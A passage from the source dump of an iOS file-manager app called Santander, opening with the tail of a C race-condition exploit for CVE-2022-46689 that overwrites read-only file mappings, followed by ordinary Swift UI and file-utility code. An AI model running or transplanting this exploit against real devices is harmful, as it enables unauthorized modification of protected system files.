	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
	/* initialize to 'C' */
	memset((char *)e5, 'C', ctx->obj_size * 2);

	char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
	memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);

	int overwrite_first_diff_offset = -1;
	char overwrite_first_diff_value = 0;
	for (int off = 0; off < overwrite_length; off++) {
		if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
			overwrite_first_diff_offset = off;
			overwrite_first_diff_value = ((char*)ro_addr)[off];
		}
	}
	if (overwrite_first_diff_offset == -1) {
		fprintf(stderr, "no diff?\n");
		return false;
	}

	/*
	 * get a handle on some writable memory that will be temporarily
	 * switched with the read-only mapping of our target memory to try
	 * and trick copy_unaligned to write to our read-only target.
	 */
	tmp_addr = 0;
	kr = vm_allocate(mach_task_self(),
	    &tmp_addr,
	    ctx->obj_size,
	    VM_FLAGS_ANYWHERE);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
	/* initialize to 'D' */
	memset((char *)tmp_addr, 'D', ctx->obj_size);
	/* get a memory entry handle for that RW memory */
	mo_size = ctx->obj_size;
	kr = mach_make_memory_entry_64(mach_task_self(),
	    &mo_size,
	    tmp_addr,
	    MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
	    &ctx->mem_entry_rw,
	    MACH_PORT_NULL);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
	T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
	kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
	tmp_addr = 0;

	pthread_mutex_lock(&ctx->mtx);

	/* start racing thread */
	ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
	T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");

	/* wait for racing thread to be ready to run */
	dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);

	duration = 10; /* 10 seconds */
	T_LOG("Testing for %ld seconds...", duration);
	for (start = time(NULL), loops = 0;
	    time(NULL) < start + duration;
	    loops++) {
		/* reserve space for our 2 contiguous allocations */
		e2 = 0;
		kr = vm_allocate(mach_task_self(),
		    &e2,
		    2 * ctx->obj_size,
		    VM_FLAGS_ANYWHERE);
		T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");

		/* make 1st allocation in our reserved space */
		kr = vm_allocate(mach_task_self(),
		    &e2,
		    ctx->obj_size,
		    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
		T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
		/* initialize to 'B' */
		memset((char *)e2, 'B', ctx->obj_size);

		/* map our read-only target memory right after */
		ctx->e0 = e2 + ctx->obj_size;
		kr = vm_map(mach_task_self(),
		    &ctx->e0,
		    ctx->obj_size,
		    0,         /* mask */
		    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
		    ctx->mem_entry_ro,
		    0,
		    FALSE,         /* copy */
		    VM_PROT_READ,
		    VM_PROT_READ,
		    VM_INHERIT_DEFAULT);
		T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");

		/* let the racing thread go */
		pthread_mutex_unlock(&ctx->mtx);
		/* wait a little bit */
		usleep(100);

		/* trigger copy_unaligned while racing with other thread */
		kr = vm_read_overwrite(mach_task_self(),
		    e5,
		    ctx->obj_size - 1 + overwrite_length,
		    e2 + 1,
		    &copied_size);
		T_QUIET;
		T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
		    "vm_read_overwrite kr %d", kr);
		switch (kr) {
		case KERN_SUCCESS:
			/* the target was RW */
			kern_success++;
			break;
		case KERN_PROTECTION_FAILURE:
			/* the target was RO */
			kern_protection_failure++;
			break;
		default:
			/* should not happen */
			kern_other++;
			break;
		}
		/* check that our read-only memory was not modified */
#if 0
		T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
#endif
		bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;

		/* tell racing thread to stop toggling mappings */
		pthread_mutex_lock(&ctx->mtx);

		/* clean up before next loop */
		vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
		ctx->e0 = 0;
		vm_deallocate(mach_task_self(), e2, ctx->obj_size);
		e2 = 0;
		if (!is_still_equal) {
			retval = true;
			fprintf(stderr, "RO mapping was modified\n");
			break;
		}
	}

	ctx->done = true;
	pthread_mutex_unlock(&ctx->mtx);
	pthread_join(th, NULL);

	kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
	kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
	kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
	kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
	T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");

#if 0
	T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
	    kern_success, kern_protection_failure, kern_other);
	T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
#endif
	return retval;
}


================================================
FILE: Santander/Other/Exploit/vm_unaligned_copy_switch_race.h
================================================
#pragma once
#include <stdlib.h>
#include <stdbool.h>
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
/// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. ``
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);


================================================
FILE: Santander/Other/Extensions.swift
================================================
//
//  Extensions.swift
//  Santander
//
//  Created by Serena on 21/06/2022
//

// TODO: - Move all of this to other files, with separate files for each extension


import UIKit
import UniformTypeIdentifiers
import ApplicationsWrapper

extension URL {
    
    func regularFileAllocatedSize() throws -> UInt64 {
        let resourceValues = try self.resourceValues(forKeys: allocatedSizeResourceKeys)
        
        // We only look at regular files.
        guard resourceValues.isRegularFile ?? false else {
            return 0
        }
        
        return UInt64(resourceValues.totalFileAllocatedSize ?? resourceValues.fileAllocatedSize ?? 0)
    }
    
    var contents: [URL] {
        // if not readable, invoke the root helper to get the contents
        if !isReadable {
            return (try? RootConf.shared.contents(of: resolvedURL)) ?? []
        }
        
        let _contents = try? FileManager.default.contentsOfDirectory(at: self.resolvedURL, includingPropertiesForKeys: [])
        return _contents ?? []
    }
    
    var isDirectory: Bool {
        return (try? resolvedURL.resourceValues(forKeys: [.isDirectoryKey]).isDirectory) ?? false
    }
    
    var creationDate: Date? {
        try? resourceValues(forKeys: [.creationDateKey]).creationDate
    }
    
    var lastModifiedDate: Date? {
        try? resourceValues(forKeys: [.contentModificationDateKey]).contentModificationDate
    }
    
    var lastAccessedDate: Date? {
        try? resourceValues(forKeys: [.contentAccessDateKey]).contentAccessDate
    }
    
    /// The date to which the item was added to it's parent directory
    var addedToDirectoryDate: Date? {
        try? resourceValues(forKeys: [.addedToDirectoryDateKey]).addedToDirectoryDate
    }
    
    var size: Int? {
        if isDirectory {
            var _size: Int = 0
            for content in contents {
                _size += content.size ?? 0
            }
            
            return _size
        }
        
        return try? resourceValues(forKeys: [.fileSizeKey]).fileSize
    }
    
    var contentType: UTType? {
        return try? resourceValues(forKeys: [.contentTypeKey]).contentType
    }
    
    /// Display name of the URL path
    var displayName: String {
        return FileManager.default.displayName(atPath: self.path)
    }
    
    /// The URL, resolved if a symbolic link
    var resolvedURL: URL {
        return (try? URL(resolvingAliasFileAt: self)) ?? self
    }
    
    static let root: URL = URL(fileURLWithPath: "/")
    static let home: URL = URL(fileURLWithPath: NSHomeDirectory())
    
    var isSymlink: Bool {
        return (try? FileManager.default.destinationOfSymbolicLink(atPath: self.path)) != nil
    }
    
    var isReadable: Bool {
        return FileManager.default.isReadableFile(atPath: self.path)
    }
    
    func setPermissions(forOwner owner: Permission, group: Permission = [], others: Permission = []) throws {
        let octal = Permission.octalRepresentation(of: [owner, group, others])
        try FSOperation.perform(.setPermissions(url: self, newOctalPermissions: octal), rootHelperConf: RootConf.shared)
    }
    
    /// Returns an array of complete URLs to the URL's path components
    func fullPathComponents() -> [URL] {
        var arr: [URL] = []
        let components = self.pathComponents
        for indx in components.indices {
            let item = components[components.startIndex...indx]
                .joined(separator: "/")
                .replacingOccurrences(of: "//", with: "/")
            if item.isEmpty {
                continue
            }
            arr.append(URL(fileURLWithPath: item))
        }
        return arr
    }
    
    var containsAppUUIDSubpaths: Bool {
        return pathComponents.contains("Containers") || pathComponents.contains("containers")
    }
    
    var applicationItem: LSApplicationProxy? {
        if self.pathExtension == "app" {
            return ApplicationsManager.shared.application(forBundleURL: self)
        }
        
        return ApplicationsManager.shared.application(forContainerURL: self) ?? ApplicationsManager.shared.application(forDataContainerURL: self)
    }
}

#if targetEnvironment(simulator)
fileprivate let applicationPaths: [String] = [URL.home.deletingLastPathComponent().path]
#else
fileprivate let applicationPaths: [String] = [
    "/private/var/containers/Bundle/Application",
    "/private/var/mobile/Containers/Data",
    "/private/var/mobile/Containers/Data/Application"
]
#endif

extension UIViewController {
    func errorAlert(
        _ errorDescription: String?,
        title: String,
        presentingFromIfAvailable presentingVC: UIViewController? = nil,
        cancelAction: UIAlertAction = .cancel(title: "OK")
    ) {
        var message: String? = nil
        if let errorDescription = errorDescription {
            message = "Error occured: \(errorDescription)"
        }
        
        let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
        alert.addAction(cancelAction)
        let vcToPresentFrom = presentingVC ?? self
        vcToPresentFrom.present(alert, animated: true)
    }
    
    func errorAlert(
        _ error: Error,
        title: String,
        presentingFromIfAvailable presentingVC: UIViewController? = nil,
        cancelAction: UIAlertAction = .cancel(title: "OK")
    ) {
        self.errorAlert(error.localizedDescription, title: title, presentingFromIfAvailable: presentingVC, cancelAction: cancelAction)
    }
    
    func configureNavigationBarToNormal() {
        let navigationBarAppearance = UINavigationBarAppearance()
        navigationBarAppearance.configureWithDefaultBackground()
        navigationController?.navigationBar.compactAppearance = navigationBarAppearance
        navigationController?.navigationBar.scrollEdgeAppearance = navigationBarAppearance
    }
    
    /// Presents the Activity View Controller, with code to make sure it doesn't crash on iPad
    func presentActivityVC(forItems items: [Any]) {
        let vc = UIActivityViewController(activityItems: items, applicationActivities: nil)
        vc.popoverPresentationController?.sourceView = view
        let bounds = view.bounds
        
        vc.popoverPresentationController?.sourceRect = CGRect(x: bounds.midX, y: bounds.midY, width: 0, height: 0)
        self.present(vc, animated: true)
    }
    
    func createAlertWithSpinner(title: String, message: String? = nil, heightAnchorConstant: CGFloat = 95) -> UIAlertController {
        let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)
        let spinner = UIActivityIndicatorView()
        spinner.translatesAutoresizingMaskIntoConstraints = false
        spinner.startAnimating()
        alertController.view.addSubview(spinner)
        
        NSLayoutConstraint.activate([
            alertController.view.heightAnchor.constraint(equalToConstant: heightAnchorConstant),
            spinner.centerXAnchor.constraint(equalTo: alertController.view.centerXAnchor),
            spinner.bottomAnchor.constraint(equalTo: alertController.view.bottomAnchor, constant: -20),
        ])
        
        return alertController
    }
    
    func saveImage(_ image: UIImage) {
        UIImageWriteToSavedPhotosAlbum(image, self, #selector(didSaveImage(_:error:context:)), nil)
    }
    
    @objc
    func didSaveImage(_ im: UIImage, error: Error?, context: UnsafeMutableRawPointer?) {
        if let error = error {
            errorAlert(error, title: "Unable to save image")
        }
    }
}


extension UIMenu {
    func appending(_ element: UIMenuElement) -> UIMenu {
        var children = self.children
        children.append(element)
        return self.replacingChildren(children)
    }
}

extension UIAlertAction {
    static func cancel(title: String = "Cancel", handler: (() -> Void)? = nil) -> UIAlertAction {
        UIAlertAction(title: title, style: .cancel) { _ in
            handler?()
        }
    }
}
extension FileManager {
    
    /// Calculate the allocated size of a directory and all its contents on the volume.
    ///
    /// As there's no simple way to get this information from the file system the method
    /// has to crawl the entire hierarchy, accumulating the overall sum on the way.
    /// The resulting value is roughly equivalent with the amount of bytes
    /// that would become available on the volume if the directory would be deleted.
    ///
    /// - note: There are a couple of oddities that are not taken into account (like symbolic links, meta data of
    /// directories, hard links, ...).
    func allocatedSizeOfDirectory(at directoryURL: URL) throws -> UInt64 {
        
        // The error handler simply stores the error and stops traversal
        var enumeratorError: Error? = nil
        func errorHandler(_: URL, error: Error) -> Bool {
            enumeratorError = error
            return false
        }
        
        // We have to enumerate all directory contents, including subdirectories.
        let enumerator = self.enumerator(at: directoryURL,
                                         includingPropertiesForKeys: Array(allocatedSizeResourceKeys),
                                         options: [],
                                         errorHandler: errorHandler)!
        
        // We'll sum up content size here:
        var accumulatedSize: UInt64 = 0
        
        // Perform the traversal.
        for item in enumerator {
            
            // Bail out on errors from the errorHandler.
            if enumeratorError != nil { break }
            
            // Add up individual file sizes.
            let contentItemURL = item as! URL
            accumulatedSize += try contentItemURL.regularFileAllocatedSize()
        }
        
        // Rethrow errors from errorHandler.
        if let error = enumeratorError { throw error }
        
        return accumulatedSize
    }
}


fileprivate let allocatedSizeResourceKeys: Set<URLResourceKey> = [
    .isRegularFileKey,
    .fileAllocatedSizeKey,
    .totalFileAllocatedSizeKey,
]

extension NSNotification.Name {
    static var pathGroupsDidChange: NSNotification.Name {
        return NSNotification.Name("pathGroupsDidChange")
    }
}

extension Date {
    func listFormatted() -> String {
        if #available(iOS 15.0, *) {
            return self.formatted(date: .long, time: .shortened)
        } else {
            let dateFormatter = DateFormatter()
            dateFormatter.dateStyle = .long
            dateFormatter.timeStyle = .short
            return dateFormatter.string(from: self)
        }
    }
}

extension Collection {
    subscript(safe safeIndex: Index) -> Element? {
        return self.indices.contains(safeIndex) ? self[safeIndex] : nil
    }
}

extension UTType {
    
    public static func generictypes() -> [UTType] {
        return [
            .content,
            .image,
            .video,
            .text,
            .audio,
            .movie,
            .sourceCode,
            .executable
        ]
    }
    
    public static func audioTypes() -> [UTType] {
        return [
            .mp3,
            .aiff,
            .wav,
            .midi
        ]
    }
    
    public static func programmingTypes() -> [UTType] {
        var arr: [UTType] = [
            .swiftSource,
            .assemblyLanguageSource,
            
            .cSource,
            .objectiveCSource,
            .objectiveCPlusPlusSource,
            .cPlusPlusSource,
            
            .cHeader,
            .cPlusPlusHeader,
            
            .script,
            .shellScript,
            .javaScript,
            .pythonScript,
            .rubyScript,
            .perlScript,
            .phpScript
        ]
        
        // UTType.makefile is 15+
        if #available(iOS 15.0, *) {
            arr.append(.makefile)
        }
        
        return arr
    }
    
    public static func compressedFormatTypes() -> [UTType] {
        return [
            .zip,
            .gzip,
            .bz2
        ]
    }
    
    public static func imageTypes() -> [UTType] {
        return [
            .png,
            .gif,
            .jpeg,
            .webP,
            .tiff,
            .bmp,
            .svg,
            .heif
        ]
    }
    
    public static func documentTypes() -> [UTType] {
        return [
            .json,
            .yaml,
            .rtf,
            .xml,
            .propertyList,
            .pdf
        ]
    }
    
    public static func systemTypes() -> [UTType] {
        return [
            .bundle,
            .application,
            .framework,
            .log,
            .database,
            .diskImage,
            .package
        ]
    }
    
    public static func executableTypes() -> [UTType] {
        return [
            .executable,
            UTType(filenameExtension: "dylib")
        ]
            .compactMap { $0 }
    }
    
    /// Checks whether the type is equal to the type given in the parameters
    /// or a parameter of said type
    func isOfType(_ type: UTType) -> Bool {
        return type == self || self.isSubtype(of: type)
    }
}

extension UITableViewController {
    func indexPaths(forSection section: Int) -> [IndexPath] {
        let allRows = self.tableView(tableView, numberOfRowsInSection: section)
        return (0..<allRows).map { row in
            return IndexPath(row: row, section: section)
        }
    }
    
    func cellWithView(_ view: UIView, text: String, rightAnchorConstant: CGFloat = -20) -> UITableViewCell {
        let cell = UITableViewCell()
        var conf = cell.defaultContentConfiguration()
        conf.text = text
        cell.contentConfiguration = conf
        view.translatesAutoresizingMaskIntoConstraints = false
        cell.contentView.addSubview(view)
        
        NSLayoutConstraint.activate([
            view.rightAnchor.constraint(equalTo: cell.contentView.rightAnchor, constant: rightAnchorConstant),
            view.centerYAnchor.constraint(equalTo: cell.contentView.centerYAnchor)
        ])
        
        return cell
    }
    
    /// A title view for a header, containing a button and a title
    func sectionHeaderWithButton(
        sectionTag: Int,
        titleText: String?,
        buttonCustomization: (UIButton) -> Void
    ) -> UIView {
        let view = UIView()
        let label = UILabel()
        let button = UIButton()
        buttonCustomization(button)
        
        button.tag = sectionTag
        
        label.text = titleText
        label.font = .systemFont(ofSize: 18, weight: .bold)
        
        label.translatesAutoresizingMaskIntoConstraints = false
        button.translatesAutoresizingMaskIntoConstraints = false
        view.addSubview(label)
        view.addSubview(button)
        
        NSLayoutConstraint.activate([
            label.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 10),
            label.topAnchor.constraint(equalTo: view.topAnchor, constant: 10),
            
            button.trailingAnchor.constraint(equalTo: view.trailingAnchor, constant: -5),
            button.topAnchor.constraint(equalTo: view.topAnchor, constant: 5),
        ])
        
        return view
    }
    
    /// Returns a UIView of a footer view of the tableView's seperator color
    func seperatorFooterView() -> UIView {
        let result = UIView()
        // recreate insets from existing ones in the table view
        let insets = tableView.separatorInset
        let width = tableView.bounds.width - insets.left - insets.right
        let sepFrame = CGRect(x: insets.left, y: -0.5, width: width, height: 0.5)
        
        // create layer with separator, setting color
        let sep = CALayer()
        sep.frame = sepFrame
        sep.backgroundColor = tableView.separatorColor?.cgColor
        result.layer.addSublayer(sep)
        
        return result
    }
    
    func deleteURL(_ path: Path, completionHandler: @escaping (Bool) -> Void) {
        let confirmationController = UIAlertController(title: "Are you sure you want to delete \"\(path.lastPathComponent)\"?", message: nil, preferredStyle: .alert)
        let deleteAction = UIAlertAction(title: "Delete", style: .destructive) { _ in
            do {
                try FSOperation.perform(.removeItems(items: [path.url]), rootHelperConf: RootConf.shared)
                completionHandler(true)
            } catch {
                self.errorAlert(error, title: "Failed to delete \"\(path.lastPathComponent)\"")
                completionHandler(false)
            }
        }
        
        let cancelAction: UIAlertAction = .cancel {
            completionHandler(false)
        }
        
        confirmationController.addAction(deleteAction)
        confirmationController.addAction(cancelAction)
        self.present(confirmationController, animated: true)
    }
}

extension UIImage {
    func imageWith(newSize: CGSize) -> UIImage {
        let image = UIGraphicsImageRenderer(size: newSize).image { _ in
            draw(in: CGRect(origin: .zero, size: newSize))
        }
        
        return image.withRenderingMode(renderingMode)
    }
}

extension UIAction {
    convenience init(withClosure closure: @escaping () -> Void) {
        self.init { _ in
            closure()
        }
    }
}
 
// why the hell is this not built in already?
extension Optional: Comparable where Wrapped: Comparable {
    public static func < (lhs: Optional, rhs: Optional) -> Bool {
        guard let lhs = lhs, let rhs = rhs else {
            return false
        }
        
        return lhs < rhs
    }
}


extension UITableView.Style: CaseIterable, CustomStringConvertible {
    static var userPreferred: UITableView.Style {
        return UITableView.Style(rawValue: UserPreferences.preferredTableViewStyle) ?? .insetGrouped
    }
    
    public static var allCases: [UITableView.Style] = [.insetGrouped, .grouped, .plain]
    
    public var description: String {
        switch self {
        case .plain:
            return "Plain"
        case .grouped:
            return "Grouped"
        case .insetGrouped:
            return "Inset Grouped"
        @unknown default:
            return "Unknown Mode"
        }
    }
}

extension Array where Element: OptionSet {
    // bizzare! see https://forums.swift.org/t/reducing-array-optionset-to-optionset/4438/8
    func reducingToSingleOptionSet() -> Element {
        return self.reduce(Element()) { return $0.union($1) }
    }
}

extension passwd {
    init?(fileURLOwner fileURL: URL) {
        var buffer = stat()
        guard lstat(fileURL.path, &buffer) == 0, let pwd = getpwuid(buffer.st_uid)?.pointee else {
            return nil
        }
        
        self = pwd
    }
}

extension UIUserInterfaceStyle: CaseIterable {
    public static var allCases: [UIUserInterfaceStyle] = [.unspecified, .dark, .light]
    var description: String {
        switch self {
        case .unspecified:
            return "System"
        case .light:
            return "Light"
        case .dark:
            return "Dark"
        @unknown default:
            return "Unknown Mode"
        }
    }
}

extension UITableViewCell {
    func colorCircleAccessoryView(color: UIColor) -> UIView {
        let colorPreview = UIView(frame: CGRect(x: 0, y: 0, width: 29, height: 29))
        colorPreview.backgroundColor = color
        colorPreview.layer.cornerRadius = colorPreview.frame.size.width / 2
        colorPreview.layer.borderWidth = 1.5
        colorPreview.layer.borderColor = UIColor.systemGray.cgColor
        
        return colorPreview
    }
}

extension Dictionary where Key == String, Value == SerializedItemType {
    func asAnyDictionary() -> [String: Any] {
        var dict: [String: Any] = [:]
        for (key, value) in self {
            dict[key] = value.representedObject
        }
        
        return dict
    }
}

extension Dictionary where Key == String, Value == Any {
    func asSerializedDictionary() -> SerializedDictionaryType {
        var dict: SerializedDictionaryType = [:]
        for (key, value) in self {
            dict[key] = SerializedItemType(item: value)
        }
        
        return dict
    }
}

extension UIDevice {
    static let isiPad = current.userInterfaceIdiom == .pad
}

extension DateFormatter {
    /// A Date Formatter which could be used to format dates
    /// used in EXIF metadata
    static let EXIFDateFormatter = DateFormatter(withFormat: "yyyy:MM:dd HH:mm:ss")
    static let IPTCDateFormatter = DateFormatter(withFormat: "yyyyMMdd")
    
    convenience init(withFormat dateFormat: String) {
        self.init()
        self.dateFormat = dateFormat
    }
}

extension UIApplication {
    var sceneKeyWindow: UIWindow? {
        return UIApplication.shared
        .connectedScenes
        .flatMap { ($0 as? UIWindowScene)?.windows ?? [] }
        .first { $0.isKeyWindow }
    }
}

extension CTFontDescriptor {
    var uiFont: UIFont {
        return CTFontCreateWithFontDescriptor(self, UserPreferences.fontViewerFontSize, nil) as UIFont
    }
}

extension UIPasteboard {
    var probableURL: URL? {
        if let url = url { return url }
        if let string = string, string.hasPrefix("/") { return URL(fileURLWithPath: string) }
        return nil
    }
}

extension UIApplication {
    func setShortcutItems<URLCollection: Collection<Path>>(intoURLs urls: URLCollection) {
        shortcutItems = urls.map { bookmark in
            return UIApplicationShortcutItem(type: bookmark.url.absoluteString,
                                             localizedTitle: bookmark.lastPathComponent,
                                             localizedSubtitle: bookmark.path,
                                             icon: nil,
                                             userInfo: ["ShortcutURLToOpenTo": bookmark.path] as [String: NSSecureCoding])
        }
    }
}

extension Array<Path> {
    func toURL() -> [URL] {
        map(\.url)
    }
}


================================================
FILE: Santander/Other/GoToItem.swift
================================================
//
//  GoToItem.swift
//  Santander
//
//  Created by Serena on 24/10/2022
//
	

import UIKit

/// An item displayed for the user in the "Go to.." menu
struct GoToItem: Hashable {
    
    /// The dictionary to describe Go To Items which may or may not exist (as in, the URL path itself may or may not exist on disk)
    private typealias MayExistDictionary = [String: (URL?, UIImage?)]
    
    let displayName: String
    let url: URL
    let image: UIImage?
    
    init(displayName: String, url: URL, image: UIImage?) {
        self.displayName = displayName
        self.url = url
        self.image = image
    }
    
    // this is here to make code below easier to read
    private static func _searchPathDirURL(_ searchPath: FileManager.SearchPathDirectory) -> URL? {
        return FileManager.default.urls(for: searchPath, in: .userDomainMask).first
    }
    
    private static func _generateAll() -> [GoToItem] {
        // these items always exist and will always be displayed
        let coreItems: [GoToItem] = [
            GoToItem(displayName: "Root", url: URL(fileURLWithPath: "/var/root"), image: nil),
            GoToItem(displayName: "Home", url: .home, image: UIImage(systemName: "house"))
        ]
  
        let mayExistDict: MayExistDictionary = [
            "Applications": (_searchPathDirURL(.applicationDirectory), .appsDirectory),
            "Library":      (_searchPathDirURL(.libraryDirectory),     .libraryDirectory),
            "Documents":    (_searchPathDirURL(.documentDirectory),    .documentDirectory),
            "Downloads":    (_searchPathDirURL(.downloadsDirectory),   .downloadsDirectory)
        ]
        
        let mayExistItems: [GoToItem] = mayExistDict.compactMap { (key, value) in
            let (url, image) = value
            guard let url = url, FileManager.default.fileExists(atPath: url.path) else {
                return nil
            }
            
            return GoToItem(displayName: key, url: url, image: image)
        }
        
        
        return coreItems + mayExistItems
    }
    
    static let all = _generateAll()
}

fileprivate extension UIImage {
    static let appsDirectory =      UIImage(systemName: "app.dashed")
    static let libraryDirectory =   UIImage(systemName: "books.vertical")
    static let documentDirectory =  UIImage(systemName: "doc")
    static let downloadsDirectory = UIImage(systemName: "arrow.down.circle")
}


================================================
FILE: Santander/Other/ImageMetadata.swift
================================================
//
//  ImageMetadata.swift
//  Santander
//
//  Created by Serena on 24/08/2022.
//

import Foundation
import ImageIO
import CoreLocation

// warning: tons of `[String: Any]` usage ahead.

/// A Class containing metadata of an image at a specified URL
class ImageMetadata {
    let pixelWidth: Int?
    let pixelHeight: Int?
    
    var location: ImageLocation
    let exifInfo: ImageExifInfo?
    let cameraInfo: ImageCameraInfo?
    let dateTimeTaken: Date?
    
    /// The dictionary containing all values
    var dictionary: [String: Any]
    
    func setProperties(toDictionary newDict: [String: Any], forFileURL fileURL: URL) -> Bool {
        guard let imageSource = CGImageSourceCreateWithURL(fileURL as CFURL, nil),
              let type = CGImageSourceGetType(imageSource),
              let dest = CGImageDestinationCreateWithURL(fileURL as CFURL, type, 1, nil)
        else {
            return false
        }
        
        CGImageDestinationAddImageFromSource(dest, imageSource, 0, newDict as CFDictionary)
        
        if CGImageDestinationFinalize(dest) {
            self.dictionary = newDict
            return true
        } else {
            return false
        }
    }
    
    convenience init?(fileURL: URL) {
        guard let imageSource = CGImageSourceCreateWithURL(fileURL as CFURL, nil),
              let dict = CGImageSourceCopyPropertiesAtIndex(imageSource, 0, nil) as? [String: Any] else {
            return nil
        }
        
        self.init(dictionary: dict)
    }
    
    init(dictionary dict: [String: Any]) {
        
        self.pixelWidth = dict[kCGImagePropertyPixelWidth as String] as? Int
        self.pixelHeight = dict[kCGImagePropertyPixelHeight as String] as? Int
        
        if let exifDict = dict[kCGImagePropertyExifDictionary as String] as? [String: Any] {
            self.exifInfo = ImageExifInfo(exifDict: exifDict)
        } else {
            self.exifInfo = nil
        }
        
        if let gpsDict = dict[kCGImagePropertyGPSDictionary as String] as? [String: Any] {
            let lat = gpsDict[kCGImagePropertyGPSLatitude as String] as? CLLocationDegrees
            let long = gpsDict[kCGImagePropertyGPSLongitude as String] as? CLLocationDegrees
            self.location = ImageLocation(lat: lat, long: long)
        } else {
            self.location = ImageLocation(lat: nil, long: nil)
        }
        
        if let tiffDict = dict[kCGImagePropertyTIFFDictionary as String] as? [String: Any] {
            self.cameraInfo = ImageCameraInfo(tiffDictionary: tiffDict)
            
            if let dateTime = tiffDict[kCGImagePropertyTIFFDateTime as String] as? String {
                self.dateTimeTaken = DateFormatter.EXIFDateFormatter.date(from: dateTime)
            } else {
                self.dateTimeTaken = nil
            }
            
        } else {
            self.cameraInfo = nil
            self.dateTimeTaken = nil
        }
        
        self.dictionary = dict
//        print(dict)
    }
}

struct ImageLocation {
    var lat: CLLocationDegrees?
    var long: CLLocationDegrees?
    
    var coordinate: CLLocationCoordinate2D? {
        guard let lat = lat, let long = long else {
            return nil
        }
        
        return CLLocationCoordinate2D(latitude: lat, longitude: long)
    }
}

/// Contains the information about the image's camera.
struct ImageCameraInfo {
    let manufacturer: String?
    let model: String?
    let softwareVersion: String?
    
    init(tiffDictionary: [String: Any]) {
        self.manufacturer = tiffDictionary[kCGImagePropertyTIFFMake as String] as? String
        self.model = tiffDictionary[kCGImagePropertyTIFFModel as String] as? String
        self.softwareVersion = tiffDictionary[kCGImagePropertyTIFFSoftware as String] as? String
    }
}

struct ImageExifInfo {
    let apertureValue: Double?
    let brightnessValue: Double?
    let lensModel: String?
    let lensManufacturer: String?
    
    init(exifDict: [String: Any]) {
        self.apertureValue = exifDict[kCGImagePropertyExifApertureValue as String] as? Double
        self.brightnessValue = exifDict[kCGImagePropertyExifBrightnessValue as String] as? Double
        self.lensModel = exifDict[kCGImagePropertyExifLensModel as String] as? String
        self.lensManufacturer = exifDict[kCGImagePropertyExifLensMake as String] as? String
    }
}


================================================
FILE: Santander/Other/LoadingValueState.swift
================================================
//
//  LoadingValueState.swift
//  Santander
//
//  Created by Serena on 08/11/2022
//


import Foundation

/// Describes the state of a value which can be loaded in the UI asynchronously,
/// ie, loading the size of a path
enum LoadingValueState<Value> {
    case loading
    case unavailable
    case value(Value)
}


================================================
FILE: Santander/Other/Path.swift
================================================
//
//  Path.swift
//  Santander
//
//  Created by Serena on 10/02/2023.
//

import UIKit
import UniformTypeIdentifiers
import ApplicationsWrapper

struct Path: Hashable, ExpressibleByStringLiteral {
    static let resourceKeys: Set<URLResourceKey> = [.isDirectoryKey, .contentTypeKey]
    
    static let root: Path = "/"
    static let home: Path = Path(url: URL(fileURLWithPath: NSHomeDirectory()))
    
    var url: URL
    var lastPathComponent: String
    var isDirectory: Bool
    var contentType: UTType?
    
    lazy var size = _getSize()
    lazy var displayImage: UIImage? = _displayImage()
    
    /// A Dictionary containing the systemName for icons for of certain UTTypes
    static let iconsDictionary: [UTType: String] = [
        .text: "doc.text",
        .image: "photo",
        .audio: "waveform",
        .video: "play",
        .movie: "play",
        .executable: "terminal"
    ]
    
    static func isUType(_ type: UTType, ofAnotherType another: UTType) -> Bool {
        return type == another || type.isSubtype(of: another)
    }
    
    var path: String {
        url.path
    }
    
    var displayName: String {
